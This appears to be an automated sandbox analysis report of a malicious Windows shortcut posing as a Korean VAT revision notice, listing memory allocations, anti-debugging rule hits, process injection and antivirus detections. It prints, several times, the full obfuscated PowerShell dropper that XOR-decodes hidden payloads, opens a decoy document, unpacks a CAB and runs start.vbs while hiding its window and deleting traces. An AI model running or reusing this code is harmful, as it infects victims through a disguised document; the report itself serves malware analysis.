protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b12000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b13000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b14000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b15000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b16000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b17000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b18000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b19000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b1a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b1b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b1c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b1d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b1e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b1f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05010000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05011000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05012000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05013000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05014000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Roaming\HNC\Office\Recent\Temp.folder.lnk
file C:\Users\test22\AppData\Roaming\HNC\Office\Recent\부가가치세 수정신고 안내(부가가치세사무처리규정).hwp.lnk
file C:\Users\test22\AppData\Roaming\HNC\Office\Recent\Temp.folder.lnk
file C:\Users\test22\AppData\Roaming\HNC\Office\Recent\부가가치세 수정신고 안내(부가가치세사무처리규정).hwp.lnk
file C:\Users\test22\AppData\Local\Temp\부가가치세 수정신고 안내(부가가치세사무처리규정).hwp.lnk
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline powershell -windowstyle hidden function qrimnpVhAd{param($ByimtbmyEg,$kNeZQMhNGyPy,$EgbvteukmW,$HziPgoYBSPP,$LnMqRSoGrHUl);<#remandment manifoldly#> $GwkiDUHMjE=New-Object <#rashbuss unwinnable#>System.IO.FileStream($ByimtbmyEg,<#pachomian stremmas#>[System.IO.FileMode]::Open,<#snugify coordinateness#>[System.IO.FileAccess]::Read);<#stylet enomotarch#> $GwkiDUHMjE.Seek($kNeZQMhNGyPy,<#pentactinal amble#>[System.IO.SeekOrigin]::Begin);<#predisadvantage anisocratic#> $cKTwlnwsNcq=New-Object <#unseducible nonperpendicularity#>byte[] $EgbvteukmW;<#coronadite spiraloid#> $GwkiDUHMjE.Read($cKTwlnwsNcq,<#uniformest ankylurethria#>0,$EgbvteukmW);<#tablespoonful tracking#> $GwkiDUHMjE.Close();for($FOalSAHFmDqf=0;$FOalSAHFmDqf -lt $EgbvteukmW;$FOalSAHFmDqf++){$cKTwlnwsNcq[$FOalSAHFmDqf]=$cKTwlnwsNcq[$FOalSAHFmDqf] -bxor $HziPgoYBSPP;}sc <#aureoled herodiones#> $LnMqRSoGrHUl <#gelidium mutualized#> $cKTwlnwsNcq -Encoding <#teliosporiferous nonjurying#> Byte;};function sITqPCecquhp{param($XufbRmnzTCYI);<#txt splenectama#> $OWiCCpWxFZLj=Get-ChildItem <#invigilator pastiness#>-Path <#humified flocculant#> $XufbRmnzTCYI -Recurse <#overlaness satellite#>*.lnk <#pomster hitlerism#>| <#sailyard ideologue#>where-object <#stotterel sinkable#>{$_.length <#serbonian prenominated#>-eq 0x0349AE4F} <#indemonstrability oralogist#>| Select-Object <#electrobrasser flambage#>-ExpandProperty <#contacted fishhouse#>FullName; return <#orhamwood countertouch#> $OWiCCpWxFZLj;<#zoophysical provingly#>};$qEHFgOjaYnK=Get-Location;$qkoFVypQqMha=sITqPCecquhp <#uncriticism oglers#>-XufbRmnzTCYI <#breakage noncarbonate#> $qEHFgOjaYnK;if($qkoFVypQqMha.length<#macroscopical crosshatch#> -eq 0){$qkoFVypQqMha=sITqPCecquhp <#cosmo subheadings#> -XufbRmnzTCYI $env:Temp;} $qEHFgOjaYnK=Split-Path <#overmelted overdiluting#> $qkoFVypQqMha;$TvRfwPBxWW = $qkoFVypQqMha.substring(0,$qkoFVypQqMha.length-4) <#pharmacosiderite antimasker#>+ '';qrimnpVhAd -ByimtbmyEg <#dextrotartaric sarcococca#> $qkoFVypQqMha -kNeZQMhNGyPy <#trochars modelist#> 0x00001E76 -EgbvteukmW 0x00011A00 -HziPgoYBSPP <#uncongestive achieve#> 0x18 -LnMqRSoGrHUl <#visaing aglaozonia#> $TvRfwPBxWW;&<#symplesite lysis#> $TvRfwPBxWW;$pARWiRFyWslt=$env:public <#underpriced colligible#>+ '\' <#hunger uncovers#>+<#superhelix imprudent#> 'Byimtb.cab';qrimnpVhAd -ByimtbmyEg <#picturedom yieldable#> $qkoFVypQqMha -kNeZQMhNGyPy <#commutable irrelevancies#> 0x00013876 -EgbvteukmW <#uneviscerated moorman#> 0x00013CDB -HziPgoYBSPP <#waterworm hubba#> 0xC0 -LnMqRSoGrHUl <#unmaudlinly inculpatory#> $pARWiRFyWslt;Remove-Item -Path <#egracias underproduction#> $qkoFVypQqMha -Force;expand $pARWiRFyWslt <#thomistical noster#> -F:* <#auger involucred#> ($env:public <#punting capita#>+<#definitions coalescent#> '\' <#moneymakers doggrelize#>+<#hicks antirestoration#> 'documents');remove-item <#acieration impracticalness#> -path <#supernaturalised shielings#> $pARWiRFyWslt <#cassius starosty#>-force;$TdtCmdVzpdm=$env:public<#caprin utopists#>+'\documents\start.vbs';&<#fatherkin unflared#> $TdtCmdVzpdm;
cmdline "C:\Windows\system32\cmd.exe" /c p^owe^rshe^l^l -windowstyle hidden function qrimnpVhAd{param($ByimtbmyEg,$kNeZQMhNGyPy,$EgbvteukmW,$HziPgoYBSPP,$LnMqRSoGrHUl);^<#remandment manifoldly#^> $GwkiDUHMjE=New-Object ^<#rashbuss unwinnable#^>System.IO.FileStream($ByimtbmyEg,^<#pachomian stremmas#^>[System.IO.FileMode]::Open,^<#snugify coordinateness#^>[System.IO.FileAccess]::Read);^<#stylet enomotarch#^> $GwkiDUHMjE.Seek($kNeZQMhNGyPy,^<#pentactinal amble#^>[System.IO.SeekOrigin]::Begin);^<#predisadvantage anisocratic#^> $cKTwlnwsNcq=New-Object ^<#unseducible nonperpendicularity#^>byte[] $EgbvteukmW;^<#coronadite spiraloid#^> $GwkiDUHMjE.Read($cKTwlnwsNcq,^<#uniformest ankylurethria#^>0,$EgbvteukmW);^<#tablespoonful tracking#^> $GwkiDUHMjE.Close();for($FOalSAHFmDqf=0;$FOalSAHFmDqf -lt $EgbvteukmW;$FOalSAHFmDqf++){$cKTwlnwsNcq[$FOalSAHFmDqf]=$cKTwlnwsNcq[$FOalSAHFmDqf] -bxor $HziPgoYBSPP;}sc ^<#aureoled herodiones#^> $LnMqRSoGrHUl ^<#gelidium mutualized#^> $cKTwlnwsNcq -Encoding ^<#teliosporiferous nonjurying#^> Byte;};function sITqPCecquhp{param($XufbRmnzTCYI);^<#txt splenectama#^> $OWiCCpWxFZLj=Get-ChildItem ^<#invigilator pastiness#^>-Path ^<#humified flocculant#^> $XufbRmnzTCYI -Recurse ^<#overlaness satellite#^>*.lnk ^<#pomster hitlerism#^>^| ^<#sailyard ideologue#^>where-object ^<#stotterel sinkable#^>{$_.length ^<#serbonian prenominated#^>-eq 0x0349AE4F} ^<#indemonstrability oralogist#^>^| Select-Object ^<#electrobrasser flambage#^>-ExpandProperty ^<#contacted fishhouse#^>FullName; return ^<#orhamwood countertouch#^> $OWiCCpWxFZLj;^<#zoophysical provingly#^>};$qEHFgOjaYnK=Get-Location;$qkoFVypQqMha=sITqPCecquhp ^<#uncriticism oglers#^>-XufbRmnzTCYI ^<#breakage noncarbonate#^> $qEHFgOjaYnK;if($qkoFVypQqMha.length^<#macroscopical crosshatch#^> -eq 0){$qkoFVypQqMha=sITqPCecquhp ^<#cosmo subheadings#^> -XufbRmnzTCYI $env:Temp;} $qEHFgOjaYnK=Split-Path ^<#overmelted overdiluting#^> $qkoFVypQqMha;$TvRfwPBxWW = $qkoFVypQqMha.substring(0,$qkoFVypQqMha.length-4) ^<#pharmacosiderite antimasker#^>+ '';qrimnpVhAd -ByimtbmyEg ^<#dextrotartaric sarcococca#^> $qkoFVypQqMha -kNeZQMhNGyPy ^<#trochars modelist#^> 0x00001E76 -EgbvteukmW 0x00011A00 -HziPgoYBSPP ^<#uncongestive achieve#^> 0x18 -LnMqRSoGrHUl ^<#visaing aglaozonia#^> $TvRfwPBxWW;^&^<#symplesite lysis#^> $TvRfwPBxWW;$pARWiRFyWslt=$env:public ^<#underpriced colligible#^>+ '\' ^<#hunger uncovers#^>+^<#superhelix imprudent#^> 'Byimtb.cab';qrimnpVhAd -ByimtbmyEg ^<#picturedom yieldable#^> $qkoFVypQqMha -kNeZQMhNGyPy ^<#commutable irrelevancies#^> 0x00013876 -EgbvteukmW ^<#uneviscerated moorman#^> 0x00013CDB -HziPgoYBSPP ^<#waterworm hubba#^> 0xC0 -LnMqRSoGrHUl ^<#unmaudlinly inculpatory#^> $pARWiRFyWslt;Remove-Item -Path ^<#egracias underproduction#^> $qkoFVypQqMha -Force;expand $pARWiRFyWslt ^<#thomistical noster#^> -F:* ^<#auger involucred#^> ($env:public ^<#punting capita#^>+^<#definitions coalescent#^> '\' ^<#moneymakers doggrelize#^>+^<#hicks antirestoration#^> 'documents');remove-item ^<#acieration impracticalness#^> -path ^<#supernaturalised shielings#^> $pARWiRFyWslt ^<#cassius starosty#^>-force;$TdtCmdVzpdm=$env:public^<#caprin utopists#^>+'\documents\start.vbs';^&^<#fatherkin unflared#^> $TdtCmdVzpdm;
Time & API Arguments Status Return Repeated

CreateProcessInternalW

thread_identifier: 2312
thread_handle: 0x00000084
process_identifier: 156
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
track: 1
command_line: powershell -windowstyle hidden function qrimnpVhAd{param($ByimtbmyEg,$kNeZQMhNGyPy,$EgbvteukmW,$HziPgoYBSPP,$LnMqRSoGrHUl);<#remandment manifoldly#> $GwkiDUHMjE=New-Object <#rashbuss unwinnable#>System.IO.FileStream($ByimtbmyEg,<#pachomian stremmas#>[System.IO.FileMode]::Open,<#snugify coordinateness#>[System.IO.FileAccess]::Read);<#stylet enomotarch#> $GwkiDUHMjE.Seek($kNeZQMhNGyPy,<#pentactinal amble#>[System.IO.SeekOrigin]::Begin);<#predisadvantage anisocratic#> $cKTwlnwsNcq=New-Object <#unseducible nonperpendicularity#>byte[] $EgbvteukmW;<#coronadite spiraloid#> $GwkiDUHMjE.Read($cKTwlnwsNcq,<#uniformest ankylurethria#>0,$EgbvteukmW);<#tablespoonful tracking#> $GwkiDUHMjE.Close();for($FOalSAHFmDqf=0;$FOalSAHFmDqf -lt $EgbvteukmW;$FOalSAHFmDqf++){$cKTwlnwsNcq[$FOalSAHFmDqf]=$cKTwlnwsNcq[$FOalSAHFmDqf] -bxor $HziPgoYBSPP;}sc <#aureoled herodiones#> $LnMqRSoGrHUl <#gelidium mutualized#> $cKTwlnwsNcq -Encoding <#teliosporiferous nonjurying#> Byte;};function sITqPCecquhp{param($XufbRmnzTCYI);<#txt splenectama#> $OWiCCpWxFZLj=Get-ChildItem <#invigilator pastiness#>-Path <#humified flocculant#> $XufbRmnzTCYI -Recurse <#overlaness satellite#>*.lnk <#pomster hitlerism#>| <#sailyard ideologue#>where-object <#stotterel sinkable#>{$_.length <#serbonian prenominated#>-eq 0x0349AE4F} <#indemonstrability oralogist#>| Select-Object <#electrobrasser flambage#>-ExpandProperty <#contacted fishhouse#>FullName; return <#orhamwood countertouch#> $OWiCCpWxFZLj;<#zoophysical provingly#>};$qEHFgOjaYnK=Get-Location;$qkoFVypQqMha=sITqPCecquhp <#uncriticism oglers#>-XufbRmnzTCYI <#breakage noncarbonate#> $qEHFgOjaYnK;if($qkoFVypQqMha.length<#macroscopical crosshatch#> -eq 0){$qkoFVypQqMha=sITqPCecquhp <#cosmo subheadings#> -XufbRmnzTCYI $env:Temp;} $qEHFgOjaYnK=Split-Path <#overmelted overdiluting#> $qkoFVypQqMha;$TvRfwPBxWW = $qkoFVypQqMha.substring(0,$qkoFVypQqMha.length-4) <#pharmacosiderite antimasker#>+ '';qrimnpVhAd -ByimtbmyEg <#dextrotartaric sarcococca#> $qkoFVypQqMha -kNeZQMhNGyPy <#trochars modelist#> 0x00001E76 -EgbvteukmW 0x00011A00 -HziPgoYBSPP <#uncongestive achieve#> 0x18 -LnMqRSoGrHUl <#visaing aglaozonia#> $TvRfwPBxWW;&<#symplesite lysis#> $TvRfwPBxWW;$pARWiRFyWslt=$env:public <#underpriced colligible#>+ '\' <#hunger uncovers#>+<#superhelix imprudent#> 'Byimtb.cab';qrimnpVhAd -ByimtbmyEg <#picturedom yieldable#> $qkoFVypQqMha -kNeZQMhNGyPy <#commutable irrelevancies#> 0x00013876 -EgbvteukmW <#uneviscerated moorman#> 0x00013CDB -HziPgoYBSPP <#waterworm hubba#> 0xC0 -LnMqRSoGrHUl <#unmaudlinly inculpatory#> $pARWiRFyWslt;Remove-Item -Path <#egracias underproduction#> $qkoFVypQqMha -Force;expand $pARWiRFyWslt <#thomistical noster#> -F:* <#auger involucred#> ($env:public <#punting capita#>+<#definitions coalescent#> '\' <#moneymakers doggrelize#>+<#hicks antirestoration#> 'documents');remove-item <#acieration impracticalness#> -path <#supernaturalised shielings#> $pARWiRFyWslt <#cassius starosty#>-force;$TdtCmdVzpdm=$env:public<#caprin utopists#>+'\documents\start.vbs';&<#fatherkin unflared#> $TdtCmdVzpdm;
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 1
process_handle: 0x00000088
1 1 0
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

system_name:
privilege_name: SeDebugPrivilege
1 1 0
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
cmdline powershell -windowstyle hidden function qrimnpVhAd{param($ByimtbmyEg,$kNeZQMhNGyPy,$EgbvteukmW,$HziPgoYBSPP,$LnMqRSoGrHUl);<#remandment manifoldly#> $GwkiDUHMjE=New-Object <#rashbuss unwinnable#>System.IO.FileStream($ByimtbmyEg,<#pachomian stremmas#>[System.IO.FileMode]::Open,<#snugify coordinateness#>[System.IO.FileAccess]::Read);<#stylet enomotarch#> $GwkiDUHMjE.Seek($kNeZQMhNGyPy,<#pentactinal amble#>[System.IO.SeekOrigin]::Begin);<#predisadvantage anisocratic#> $cKTwlnwsNcq=New-Object <#unseducible nonperpendicularity#>byte[] $EgbvteukmW;<#coronadite spiraloid#> $GwkiDUHMjE.Read($cKTwlnwsNcq,<#uniformest ankylurethria#>0,$EgbvteukmW);<#tablespoonful tracking#> $GwkiDUHMjE.Close();for($FOalSAHFmDqf=0;$FOalSAHFmDqf -lt $EgbvteukmW;$FOalSAHFmDqf++){$cKTwlnwsNcq[$FOalSAHFmDqf]=$cKTwlnwsNcq[$FOalSAHFmDqf] -bxor $HziPgoYBSPP;}sc <#aureoled herodiones#> $LnMqRSoGrHUl <#gelidium mutualized#> $cKTwlnwsNcq -Encoding <#teliosporiferous nonjurying#> Byte;};function sITqPCecquhp{param($XufbRmnzTCYI);<#txt splenectama#> $OWiCCpWxFZLj=Get-ChildItem <#invigilator pastiness#>-Path <#humified flocculant#> $XufbRmnzTCYI -Recurse <#overlaness satellite#>*.lnk <#pomster hitlerism#>| <#sailyard ideologue#>where-object <#stotterel sinkable#>{$_.length <#serbonian prenominated#>-eq 0x0349AE4F} <#indemonstrability oralogist#>| Select-Object <#electrobrasser flambage#>-ExpandProperty <#contacted fishhouse#>FullName; return <#orhamwood countertouch#> $OWiCCpWxFZLj;<#zoophysical provingly#>};$qEHFgOjaYnK=Get-Location;$qkoFVypQqMha=sITqPCecquhp <#uncriticism oglers#>-XufbRmnzTCYI <#breakage noncarbonate#> $qEHFgOjaYnK;if($qkoFVypQqMha.length<#macroscopical crosshatch#> -eq 0){$qkoFVypQqMha=sITqPCecquhp <#cosmo subheadings#> -XufbRmnzTCYI $env:Temp;} $qEHFgOjaYnK=Split-Path <#overmelted overdiluting#> $qkoFVypQqMha;$TvRfwPBxWW = $qkoFVypQqMha.substring(0,$qkoFVypQqMha.length-4) <#pharmacosiderite antimasker#>+ '';qrimnpVhAd -ByimtbmyEg <#dextrotartaric sarcococca#> $qkoFVypQqMha -kNeZQMhNGyPy <#trochars modelist#> 0x00001E76 -EgbvteukmW 0x00011A00 -HziPgoYBSPP <#uncongestive achieve#> 0x18 -LnMqRSoGrHUl <#visaing aglaozonia#> $TvRfwPBxWW;&<#symplesite lysis#> $TvRfwPBxWW;$pARWiRFyWslt=$env:public <#underpriced colligible#>+ '\' <#hunger uncovers#>+<#superhelix imprudent#> 'Byimtb.cab';qrimnpVhAd -ByimtbmyEg <#picturedom yieldable#> $qkoFVypQqMha -kNeZQMhNGyPy <#commutable irrelevancies#> 0x00013876 -EgbvteukmW <#uneviscerated moorman#> 0x00013CDB -HziPgoYBSPP <#waterworm hubba#> 0xC0 -LnMqRSoGrHUl <#unmaudlinly inculpatory#> $pARWiRFyWslt;Remove-Item -Path <#egracias underproduction#> $qkoFVypQqMha -Force;expand $pARWiRFyWslt <#thomistical noster#> -F:* <#auger involucred#> ($env:public <#punting capita#>+<#definitions coalescent#> '\' <#moneymakers doggrelize#>+<#hicks antirestoration#> 'documents');remove-item <#acieration impracticalness#> -path <#supernaturalised shielings#> $pARWiRFyWslt <#cassius starosty#>-force;$TdtCmdVzpdm=$env:public<#caprin utopists#>+'\documents\start.vbs';&<#fatherkin unflared#> $TdtCmdVzpdm;
cmdline "C:\Windows\system32\cmd.exe" /c p^owe^rshe^l^l -windowstyle hidden function qrimnpVhAd{param($ByimtbmyEg,$kNeZQMhNGyPy,$EgbvteukmW,$HziPgoYBSPP,$LnMqRSoGrHUl);^<#remandment manifoldly#^> $GwkiDUHMjE=New-Object ^<#rashbuss unwinnable#^>System.IO.FileStream($ByimtbmyEg,^<#pachomian stremmas#^>[System.IO.FileMode]::Open,^<#snugify coordinateness#^>[System.IO.FileAccess]::Read);^<#stylet enomotarch#^> $GwkiDUHMjE.Seek($kNeZQMhNGyPy,^<#pentactinal amble#^>[System.IO.SeekOrigin]::Begin);^<#predisadvantage anisocratic#^> $cKTwlnwsNcq=New-Object ^<#unseducible nonperpendicularity#^>byte[] $EgbvteukmW;^<#coronadite spiraloid#^> $GwkiDUHMjE.Read($cKTwlnwsNcq,^<#uniformest ankylurethria#^>0,$EgbvteukmW);^<#tablespoonful tracking#^> $GwkiDUHMjE.Close();for($FOalSAHFmDqf=0;$FOalSAHFmDqf -lt $EgbvteukmW;$FOalSAHFmDqf++){$cKTwlnwsNcq[$FOalSAHFmDqf]=$cKTwlnwsNcq[$FOalSAHFmDqf] -bxor $HziPgoYBSPP;}sc ^<#aureoled herodiones#^> $LnMqRSoGrHUl ^<#gelidium mutualized#^> $cKTwlnwsNcq -Encoding ^<#teliosporiferous nonjurying#^> Byte;};function sITqPCecquhp{param($XufbRmnzTCYI);^<#txt splenectama#^> $OWiCCpWxFZLj=Get-ChildItem ^<#invigilator pastiness#^>-Path ^<#humified flocculant#^> $XufbRmnzTCYI -Recurse ^<#overlaness satellite#^>*.lnk ^<#pomster hitlerism#^>^| ^<#sailyard ideologue#^>where-object ^<#stotterel sinkable#^>{$_.length ^<#serbonian prenominated#^>-eq 0x0349AE4F} ^<#indemonstrability oralogist#^>^| Select-Object ^<#electrobrasser flambage#^>-ExpandProperty ^<#contacted fishhouse#^>FullName; return ^<#orhamwood countertouch#^> $OWiCCpWxFZLj;^<#zoophysical provingly#^>};$qEHFgOjaYnK=Get-Location;$qkoFVypQqMha=sITqPCecquhp ^<#uncriticism oglers#^>-XufbRmnzTCYI ^<#breakage noncarbonate#^> $qEHFgOjaYnK;if($qkoFVypQqMha.length^<#macroscopical crosshatch#^> -eq 0){$qkoFVypQqMha=sITqPCecquhp ^<#cosmo subheadings#^> -XufbRmnzTCYI $env:Temp;} $qEHFgOjaYnK=Split-Path ^<#overmelted overdiluting#^> $qkoFVypQqMha;$TvRfwPBxWW = $qkoFVypQqMha.substring(0,$qkoFVypQqMha.length-4) ^<#pharmacosiderite antimasker#^>+ '';qrimnpVhAd -ByimtbmyEg ^<#dextrotartaric sarcococca#^> $qkoFVypQqMha -kNeZQMhNGyPy ^<#trochars modelist#^> 0x00001E76 -EgbvteukmW 0x00011A00 -HziPgoYBSPP ^<#uncongestive achieve#^> 0x18 -LnMqRSoGrHUl ^<#visaing aglaozonia#^> $TvRfwPBxWW;^&^<#symplesite lysis#^> $TvRfwPBxWW;$pARWiRFyWslt=$env:public ^<#underpriced colligible#^>+ '\' ^<#hunger uncovers#^>+^<#superhelix imprudent#^> 'Byimtb.cab';qrimnpVhAd -ByimtbmyEg ^<#picturedom yieldable#^> $qkoFVypQqMha -kNeZQMhNGyPy ^<#commutable irrelevancies#^> 0x00013876 -EgbvteukmW ^<#uneviscerated moorman#^> 0x00013CDB -HziPgoYBSPP ^<#waterworm hubba#^> 0xC0 -LnMqRSoGrHUl ^<#unmaudlinly inculpatory#^> $pARWiRFyWslt;Remove-Item -Path ^<#egracias underproduction#^> $qkoFVypQqMha -Force;expand $pARWiRFyWslt ^<#thomistical noster#^> -F:* ^<#auger involucred#^> ($env:public ^<#punting capita#^>+^<#definitions coalescent#^> '\' ^<#moneymakers doggrelize#^>+^<#hicks antirestoration#^> 'documents');remove-item ^<#acieration impracticalness#^> -path ^<#supernaturalised shielings#^> $pARWiRFyWslt ^<#cassius starosty#^>-force;$TdtCmdVzpdm=$env:public^<#caprin utopists#^>+'\documents\start.vbs';^&^<#fatherkin unflared#^> $TdtCmdVzpdm;
parent_process powershell.exe martian_process "C:\Program Files (x86)\Hnc\Hwp80\Hwp.exe" "C:\Users\test22\AppData\Local\Temp\부가가치세 수정신고 안내(부가가치세사무처리규정).hwp"
parent_process powershell.exe martian_process "C:\Windows\System32\WScript.exe" "C:\Users\Public\documents\start.vbs"
parent_process powershell.exe martian_process C:\Users\test22\AppData\Local\Temp\부가가치세 수정신고 안내(부가가치세사무처리규정).hwp
parent_process powershell.exe martian_process "C:\Windows\system32\expand.exe" C:\Users\Public\Byimtb.cab -F:* C:\Users\Public\documents
Process injection Process 3044 resumed a thread in remote process 1784
Time & API Arguments Status Return Repeated

NtResumeThread

thread_handle: 0x00000338
suspend_count: 1
process_identifier: 1784
1 0 0
option -windowstyle hidden value Attempts to execute command with a hidden window
Lionic Trojan.WinLNK.Pantera.4!c
Cynet Malicious (score: 99)
Skyhigh BehavesLike.Dropper.rx
VIPRE Heur.BZC.YAX.Pantera.190.B8512955
Arcabit Heur.BZC.YAX.Pantera.190.B8512955
Symantec CL.Downloader!gen20
ESET-NOD32 BAT/TrojanDownloader.Agent.NWV
Avast LNK:Agent-HS [Trj]
Kaspersky HEUR:Trojan.WinLNK.Powecod.c
BitDefender Heur.BZC.YAX.Pantera.190.B8512955
Rising Trojan.PSRunner/LNK!1.F965 (CLASSIC)
Emsisoft Heur.BZC.YAX.Pantera.190.B8512955 (B)
F-Secure Malware.LNK/Dldr.Agent.VPYE
FireEye Heur.BZC.YAX.Pantera.190.B8512955
Sophos Mal/PowLnkObf-D
Google Detected
Avira LNK/Dldr.Agent.VPYE
MAX malware (ai score=84)
Kingsoft Script.Troj.BigLnk.22142
ZoneAlarm HEUR:Trojan.WinLNK.Powecod.c
GData Heur.BZC.YAX.Pantera.190.B8512955
VBA32 Trojan.Link.Crafted
SentinelOne Static AI - Suspicious LNK
Fortinet LNK/Agent.NWV!tr
AVG LNK:Agent-HS [Trj]
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe
file C:\Program Files (x86)\Hnc\Hwp80\Hwp.exe
file C:\Windows\System32\expand.exe
file C:\Windows\SysWOW64\wscript.exe